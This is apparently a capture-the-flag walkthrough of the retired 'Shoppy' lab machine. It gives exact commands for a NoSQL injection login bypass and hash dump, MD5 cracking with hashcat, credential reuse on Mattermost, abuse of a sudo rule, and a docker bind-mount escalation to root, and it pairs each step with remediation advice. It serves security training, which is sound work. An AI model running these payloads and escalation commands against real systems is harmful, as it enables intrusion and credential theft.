← all walkthroughs

Shoppy

Linux· Easy· Web
owned
2026-07-06
time to own
5m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My found a shopping web app (shoppy.htb) whose login form and admin user-search both accepted MongoDB operator injection. Auth bypass delivered the admin panel; a second injection against the search endpoint dumped the MD5 password hashes of every registered user. The hash for the 'josh' account cracked instantly against a common wordlist, and that plaintext password was reused to authenticate into a Mattermost team-chat instance discovered on port 9093, where a dev-channel message posted the SSH password for the 'jaeger' system account in cleartext.

Once on the box as jaeger, a misconfigured sudo rule allowed running a compiled password-manager binary as the 'deploy' user; supplying its hard-coded master password printed deploy's cleartext SSH credential. The deploy account belonged to the docker group, which I weaponised by bind-mounting the host root filesystem into a disposable container — yielding full read/write access to every file on the system without a single kernel exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host enumeration (T1595.003)
Mapped services and discovered virtual hosts
A port scan identified three open TCP ports: SSH on 22, nginx on 80, and a Go HTTP service on 9093. Browsing port 80 redirected to the shoppy.htb virtual host, exposing a login page for a shopping application. Subdomain fuzzing against the base domain revealed a second vhost, mattermost.shoppy.htb, serving a Mattermost team-chat instance.
Exact commands 3
Confirm service versions on all three ports.
nmap -sV -p 22,80,9093 $TARGET
Register both discovered vhosts for local resolution.
echo "$TARGET shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hosts
Fuzz for subdomains; mattermost returns HTTP 200.
ffuf -u http://shoppy.htb/ -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301
2ExploitationNoSQL injection authentication bypass (CWE-943)
Bypassed the Shoppy login with NoSQL injection
The login form at shoppy.htb passed the username field directly into a MongoDB query with no sanitization or type enforcement. Submitting a JavaScript operator expression as the username caused the query to match every document in the users collection, returning a valid admin session without a correct password.
Engagement finding: 'Web NoSQLi Auth Bypass On Shoppy.htb Login' — Critical. Admin session cookies issued; admin panel subsequently accessible.
Exact commands 2
Payload decodes to: username=admin'||'1=='1 — forces the MongoDB query to evaluate true for every document, returning an admin session.
curl -sS -c cookies.txt -X POST http://shoppy.htb/login -d 'username=admin%27%7C%7C%271%3D%3D%271&password=x' -L
Verify admin panel access with the session cookie from the previous step.
curl -sS -b cookies.txt http://shoppy.htb/admin
FixParameterize all MongoDB queries to eliminate NoSQL injectionCritical
WeaknessBoth the login form and the admin user-search endpoint concatenated user input directly into MongoDB query objects with no sanitization. Submitting a JavaScript operator expression (||'1=='1) caused every query to match unconditionally, granting admin access with no valid credential and then exfiltrating every user record in the database.
FixReplace every dynamic MongoDB query with parameterized queries or a typed ODM (e.g., Mongoose with strict schema validation) that rejects non-string inputs and strips MongoDB operator characters ($, ., ') at the API layer before the value ever reaches the database driver. Apply this fix uniformly across all search, filter, and authentication endpoints — not just the login form.
3Credential AccessNoSQL injection data exfiltration (CWE-943)
Dumped all user password hashes via the admin search endpoint
The admin panel's user-search feature passed the query parameter into the same unsanitized MongoDB lookup. Injecting a wildcard NoSQL expression returned every user record in the database, including the usernames and stored MD5 password hashes for the 'admin' and 'josh' accounts.
Admin and josh MD5 hashes recovered from search response; josh hash subsequently cracked.
Exact commands 1
Inject into the search parameter; response returns all user documents including plaintext-equivalent MD5 hashes.
curl -sS -b cookies.txt 'http://shoppy.htb/admin/search-users?username=admin%27%7C%7C%271%3D%3D%271'
4Credential AccessOffline password hash cracking (T1110.002)
Cracked josh's MD5 hash to recover the plaintext password
The recovered hash for josh was an unsalted MD5 digest. Running it against the rockyou wordlist resolved it to the plaintext '[REDACTED: recovered credential]' in seconds, demonstrating that unsalted MD5 hashes provide no meaningful protection against offline cracking on modern hardware.
Hash cracked to [REDACTED: recovered credential]; same credential reused to authenticate to Mattermost in the next step.
Exact commands 2
Paste the MD5 hash recovered from step 3; replace <josh_md5_hash> with the actual value.
echo '<josh_md5_hash>' > josh.hash
MD5 mode (-m 0) against rockyou; resolves to [REDACTED: recovered credential] in seconds.
hashcat -m 0 josh.hash /usr/share/wordlists/rockyou.txt --show
FixReplace unsalted MD5 password storage with a modern adaptive hashCritical
WeaknessUser passwords were stored as unsalted MD5 digests. MD5 is a general-purpose cryptographic hash with no work factor; a common plaintext resolves from its hash in seconds on commodity hardware with a standard wordlist, so a single database read gave an unauthorised user a usable credential.
FixMigrate all password storage to bcrypt (minimum cost 12), scrypt, or Argon2id. During the migration, re-hash passwords on next successful login. Invalidate and force a reset for any account whose MD5 hash was exposed. Going forward, never use MD5, SHA-1, or any unhashed or unsalted scheme for credential storage.
5Credential AccessCredentials in internal communication platform (T1552.001)
Logged into Mattermost and found SSH credentials posted in a chat channel
Josh's cracked password authenticated against the Mattermost instance at mattermost.shoppy.htb. Inside an internal 'Deploy Machine' developer channel, an administrator had posted the SSH password for the system account 'jaeger' in cleartext as part of a routine credential handoff — handing my a direct path to the production host.
Exact commands 2
Authenticate to the Mattermost API and capture the session token from the Token response header.
curl -sS -X POST http://mattermost.shoppy.htb/api/v4/users/login -H 'Content-Type: application/json' -d '{"login_id":"josh","password":"$PASSWORD3"}' -D - | grep -i token
List teams, then enumerate channels within each team to locate the dev channel containing the jaeger credentials.
curl -sS http://mattermost.shoppy.htb/api/v4/teams -H 'Authorization: Bearer <TOKEN>'
FixRemove credentials from Mattermost and enforce a secrets management policyHigh
WeaknessThe SSH password for the 'jaeger' production system account was posted in plaintext in a Mattermost dev channel as part of a routine handoff. Any team member with channel access — or anyone who compromised any such member — received a direct path to the production host.
FixPurge all credential material from Mattermost channel history immediately. Enforce a written policy that passwords, SSH secrets, and API keys are never shared over messaging platforms. Provision a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) for all credential distribution; rotate every credential that has ever appeared in chat.
6FootholdValid accounts — SSH password authentication (T1078.003)
Gained an interactive shell as jaeger and read the user flag
The SSH password recovered from Mattermost authenticated successfully for the 'jaeger' account over OpenSSH on port 22. This delivered a persistent interactive shell on the target host as a non-root user and gave access to the user flag in jaeger's home directory.
Sshpass -p '[REDACTED: recovered credential]' ssh jaeger@$TARGET 'id; find /home -name user.txt ...' returned uid=1000(jaeger) and the flag.
Exact commands 2
Confirm shell execution as uid=1000(jaeger).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'id'
Read the user flag; value redacted as <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'cat ~/user.txt'
7Privilege EscalationSudo misconfiguration — NOPASSWD on credential-dispensing binary (T1548.003)
Extracted the deploy account password from a password manager via a misconfigured sudo rule
Running sudo -l as jaeger revealed a rule allowing execution of /home/deploy/password-manager as the 'deploy' user with no password prompt. The compiled binary prompted for a master password. The master password had been shared in the Mattermost channel and was also hard-coded in the binary itself. Supplying it printed the deploy account's SSH password to stdout in cleartext.
Exact commands 2
Run from jaeger's SSH session; reveals: (deploy) NOPASSWD: /home/deploy/password-manager
sudo -l
Execute the binary as deploy; enter '[REDACTED: recovered credential]' as the master password when prompted — the binary prints deploy's plaintext SSH credential.
sudo -u deploy /home/deploy/password-manager
FixRemove the NOPASSWD sudo rule granting jaeger access to the password manager binaryHigh
WeaknessA sudo rule permitted jaeger to execute /home/deploy/password-manager as the 'deploy' user with no password prompt. The binary accepted a hard-coded master password and printed the deploy account's cleartext SSH credential to stdout, turning a one-line sudo command into an immediate lateral-move to another account.
FixDelete the rule from /etc/sudoers or /etc/sudoers.d/ and verify with visudo. Never grant NOPASSWD sudo to binaries that access, decrypt, or output credential material. If cross-account automation is a genuine operational requirement, use a PAM-integrated secrets manager that enforces per-request authentication, short-lived tokens, and a full audit log.
8Privilege EscalationDocker group privilege escalation — container filesystem bind-mount (T1611)
Mounted the host filesystem in a Docker container to read the root flag as UID 0
The deploy account was a member of the docker Unix group, which grants effective root over the Docker daemon socket. I launched a minimal Alpine container, bind-mounted the entire host root filesystem at /mnt, and used chroot to switch into it as UID 0. Every file on the host — including /root/root.txt — was immediately readable and writable without any kernel exploit.
Sshpass … deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt' succeeded and returned the root flag.
Exact commands 2
Confirm deploy's group membership includes 'docker'.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no deploy@$TARGET 'id; groups'
Bind-mount host / into a container running as root; reads the root flag (value redacted as <root.txt>).
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt'
FixRemove the deploy account from the docker groupCritical
WeaknessMembership in the docker Unix group grants unrestricted access to the Docker daemon socket, which runs as root. A single docker run command with a bind-mount of / gave an unauthorised user a root-level view of every file on the host — no kernel exploit required, no privilege-escalation binary needed.
FixRemove deploy from the docker group immediately: gpasswd -d deploy docker. Audit every host for users in the docker group and remove all non-essential members. For services that must manage containers, use Rootless Docker or Podman in rootless mode, or expose container management through a narrowly scoped API with explicit authorization checks rather than via group membership.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
9093/tcp